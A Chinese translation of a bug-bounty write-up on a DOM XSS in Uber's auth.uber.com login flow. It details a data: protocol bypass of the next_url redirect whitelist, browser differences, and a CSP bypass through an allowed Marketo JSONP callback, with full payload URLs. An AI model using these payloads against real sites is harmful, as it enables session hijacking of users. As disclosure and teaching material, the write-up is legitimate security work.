【技术分享】Uber中的DOM XSS漏洞分析

http://p7.qhimg.com/t0124c4a953a389ddad.jpg

译者:h4d35

预估稿费:200RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿

前言

终于,在阅读了很多关于漏洞赏金的writeup后,我自己也写了一个。

我希望你能从这篇writeup中得到一些东西,开启你的漏洞赏金之旅。

简单介绍一下自己,我在Citadel咨询公司担任安全渗透员。

我虽然没有提交过太多的漏洞,但是我喜欢阅读其他漏洞赏金猎人提交的漏洞分析,因为我认为这是学习新技术的最好的方法之一。


Uber DOM XSS的发现

这篇writeup是关于我在auth.uber.com域中找到的DOM XSS

这一切都始于这个链接:

https://auth.uber.com/login/?next_url=https%3A%2F%2Faccounts.uber.com%2Fprofile%2F&state=CISjEn7fDHVmQybjIOq_ZfPU8cVhJh9mOSsme-LYJUo%3D

可能大多数uber用户都熟悉这个,但是如果你不清楚的话,简单介绍一下:

第一种行为:

当非授权用户试图访问uber的某个域如m.uber.com,riders.uber.com等时,这些域名将他重定向到登录界面,也就是auth.uber.com,同时提交一个名为next_url的参数,用于成功登录后将用户重定向回原域。

第二种行为:

如果通过身份验证的用户访问此链接,服务器将返回一个302响应,并将页面重定向到next_url参数提供的网址。

http://p3.qhimg.com/t01ad799a554929ce99.png

当你看到这样的行为时,想到的第一个漏洞是什么?

你猜对了(也许没猜对),这是一个开放的重定向(open direct)。

所以,我决定尝试通过更改next_url参数中的域名来进行尝试:

https://auth.uber.com/login/?next_url=https%3A%2F%2Fhackerone.com%2Fprofile%2F&state=CISjEn7fDHVmQybjIOq_ZfPU8cVhJh9mOSsme-LYJUo%3D

然而并没有什么卵用……


绕过白名单验证

显然在应用服务端有一些白名单验证机制,只允许重定向到有效的uber子域(但不是全部),如m.uber.com或accounts.uber.com。

我尝试了多种不同的重定向绕过技巧试图绕过这种验证,但似乎都没有用。

@zseano写了的一个很好的教程,总结了一些技巧:

https://zseano.com/tutorials/1.html

在我试图绕过域名验证期间,我注意到了一些事情,服务器并未校验next_url参数中协议名。

现在我可以发送类似以下请求:

https://auth.uber.com/login/?next_url=ftp%3A%2F%2Faccounts.uber.com%2Fprofile%2F&state=CISjEn7fDHVmQybjIOq_ZfPU8cVhJh9mOSsme-LYJUo%3D

现在我首先想到的是使用javascript协议,这将导致301重定向到以下location头:

链接:

https://auth.uber.com/login/?next_url=jaVaScript://accounts.uber.com/%0a%0dalert(1)//%2Fprofile%2F&state=CISjEn7fDHVmQybjIOq_ZfPU8cVhJh9mOSsme-LYJUo%3D

Location头:

Location: jaVAscript://accounts.uber.com/%0a%0dalert(1)//

但它不会工作,因为大多数浏览器已不再支持这种行为。

另外注意到我写了jaVAscript而不是javascript(小写),这是因为后者被列入服务器的黑名单。

现在我的目标是找到一个能够执行重定向并绕过域名验证的协议。经过一些手动fuzz后,我可以使用DATA协议实现这种绕过:

编码后:

https://auth.uber.com/login/?next_url=data:accounts.uber.com;text/html;charset=UTF-8,%3Chtml%3E%3Cscript%3Ewindow.location%3D%22https%3A%2F%2Freddit.com%22%3B%3C%2Fscript%3E%3C%2Fhtml%3E&state=x

解码后:

https://auth.uber.com/login/?next_url=data:accounts.uber.com;text/html;charset=UTF-8,<html><script>window.location="https://reddit.com";</script></html>&state=x

服务器返回的响应如下:

http://p1.qhimg.com/t0149cc060c3cbcaafe.png

正如你所看到的,我可以通过使用data协议来实现使用JavaScript代码(window.location)的重定向。


浏览器差异分析

有人可能会想,为什么我不直接弹个窗,并向uber提交了一个XSS漏洞。

这是因为JavaScript代码没有运行在auth.uber.com域上。然后,服务器返回的301响应使用Location头执行重定向,页面的origin发生改变,在这种情况下,origin为空。

http://p6.qhimg.com/t01f51bea102568d482.png

还有一点很重要,那就是上述重定向技术只能在Firefox浏览器中使用,在Chrome中不起作用。

Chrome会阻止此请求,原因有二:

Chrome不支持使用Location头重定向到data协议

Chrome浏览器与Firefox解析页面的方式不同,不会容忍data协议中的语法错误(data:accounts.uber.com;html/text – 想起来了吗?)

使用Location头重定向到data协议时,Chrome提示以下错误消息:

http://p6.qhimg.com/t01de68944b925cf190.png

复制粘贴到网址栏:

http://p4.qhimg.com/t01163430145df48389.png

所以,本writeup的第一个提示:在某些情况下,不同的浏览器的行为是不同的,所以如果你的payload在某个浏览器中不起作用,并不表示其他浏览器也不会执行它。

在实现了开放重定向之后(此类漏洞并不在uber赏金计划的范围之内),我暂时放弃了这个攻击向量,去忙其他事情了。


漏洞深入挖掘

几个星期过去了,我又无聊了,所以决定再回过头看看这个漏洞。

然后,当我用上述链接登录到我的uber帐户时,我注意到之前我错过了一些东西,当您尝试访问没有活动会话的URL时,重定向过程是不同的。

完成登录过程后,服务器响应如下所示:

http://p4.qhimg.com/t01ec815ed8d2cf360e.png

我怎么会错过这个行为?可能是因为我在一个活动的会话中做了大部分重复工作,结果总是导致302重定向。

那么,你注意到了吗?

上述响应没有使用Location头实现重定向,响应代码是200,但我仍然被重定向了,这意味着真相只有一个:重定向是在JavaScript中执行的。

通常这意味着:

window.location.href = nextURL;

理论上,如果我能控制nextURL参数(我确实能),我就可以使用这个方法来执行XSS:

window.location.href = jaVAscript://accounts.uber.com//%0d%0aalert(1); //

或者:

window.location.href = data:accounts.uber.com; text/html; HTML_CODE

所以我尝试使用以下链接进行登录:

https://auth.uber.com/login/?next_url= JaVAscript%3A%2F%2Faccounts.uber.com%2F%2F%0d%0aalert(1)%3B%2F%2F&state=x

 然并卵……

可能是因为尽管没有阻止使用javascript协议,但仍然有一些客户端校验。我决定不浪费时间在这方面,于是尝试了另一种方法:

https://auth.uber.com/login/?next_url=data:accounts.uber.com;text/html;charset=UTF-8,%3Chtml%3E%3Cscript%3Edocument.write(document.domain);%3C%2Fscript%3E%3Ciframe/SRC=XXXXX%3Eaaaa%3C/iframe中%3E%3C%2Fhtml%3Estate=X

仍然不起作用……


CSP分析与绕过

但是这一次我在浏览器的URL栏中看到数据了,这意味着我被重定向了。但是弹窗在哪里?

首先我需要确认这个页面的源是auth.uber.com:

F12(开发人员工具)——>控制台选项卡——> alert(document.domain);

我得到了这个弹窗:

http://p2.qhimg.com/t01a0f116f37ca18a79.png

在页面上快速查看浏览一下源代码,一切看起来似乎都很正常…

但是为什么没有弹窗呢?

查看我的请求历史记录后,我注意到了这个:

http://p4.qhimg.com/t01beaf4aa2aa1aaae2.png

内容安全策略CSP…就是这个阻止弹窗了?但是CSP头在哪里?并未出现在这个响应中:

http://p0.qhimg.com/t01ec815ed8d2cf360e.png

在历史记录中快速搜索一下,得到如下结果:

http://p5.qhimg.com/t01daa2328a3ecde6fa.png

我做了一个快速测试,以确认这确实是导致没有弹窗的原因。通过从响应中删除CSP头,然后我访问了以下链接:

https://auth.uber.com/login/?next_url=data:accounts.uber.com;text/html;charset=UTF-8,%3Chtml%3E%3Cscript%3Edocument.write(document.domain);%3C%2Fscript%3E%3Ciframe/src=xxxxx%3Eaaaa%3C/iframe%3E%3C%2Fhtml%3E&state=x

Boom!成功弹窗!

这里我要坦白一下,我以前从没遇到过必须绕过CSP的情况,所以我对此不是很熟悉,我只是在一些漏洞分析中听说过这个。

我从阅读关于这种保护的文档和一些关于如何绕过它的文章开始。

这里是我看的一些文章链接:

https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP <—文档

https://blog.compass-security.com/2016/06/content-security-policy-misconfigurations-and-bypasses/

https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it%27s-CSP!%22

https://medium.com/@tbmnull/making-an-xss-triggered-by-csp-bypass-on-twitter-561f107be3e5


最终Payload形成

所以花了一些时间了解CSP后,我得出了一些结论:

对我们很重要的一部分内容如下:

http://p0.qhimg.com/t01cab8ffbc531ca675.png

我不能使用内联脚本,因为会有随机的nonce值(每个请求都会变),所以不要使用:

<script>alert(1);<script>

我唯一的机会是找到一个由CSP批准的域名,同时能够将我的输入作为javascript返回。

但是你有什么机会找到这样的东西?显然机会很多。

https://en.wikipedia.org/wiki/JSONP

经过几分钟Google后,我发现了这个:

http://p4.qhimg.com/t019ba3a2c4b168a783.png

最终的链接为:

https://app-lon02.marketo.com/index.php/form/getKnownLead?callback=alert(document.domain);//

http://p5.qhimg.com/t01f76270e195b483ca.png

完美!

快速组装新的payload,我得到了这个:

https://auth.uber.com/login/?next_url=data:accounts.uber.com%3Btext/html%3Bcharset=UTF-8,%3Chtml%3E%3Cscript%20src=%22https://app-lon02.marketo.com/index.php/form/getKnownLead?callback=alert(document.domain)%3B//%22%20data-reactid=%22341%22%3E%3C/script%3E%3C%2Fhtml%3E%26state%3Dx&state=x

登录然后……

http://p9.qhimg.com/t017c3d234e0248390b.png

但是只有在用户未登录的情况下payload才有效,如何扩大影响范围?

事实证明,如果你从URL中删除state参数,uber会强制用户再次登录,所以最终的链接如下所示:

https://auth.uber.com/login/?next_url=data:accounts.uber.com%3Btext/html%3Bcharset=UTF-8,%3Chtml%3E%3Cscript%20src=%22https://app-lon02.marketo.com/index.php/form/getKnownLead?callback=alert(document.domain)%3B//%22%20data-reactid=%22341%22%3E%3C/script%3E%3C%2Fhtml%3E%26state%3Dx

任何人在Firefox中点此链接将被重定向到登录页面,然后引发XSS。


总结

最后,总结一下本篇writeup给出的启示:

总是尝试在多个浏览器中的测试payload。

始终尝试注意应用程序行为的所有路径。

多看writeup,能够学到很多东西。

永不放弃;)

(完)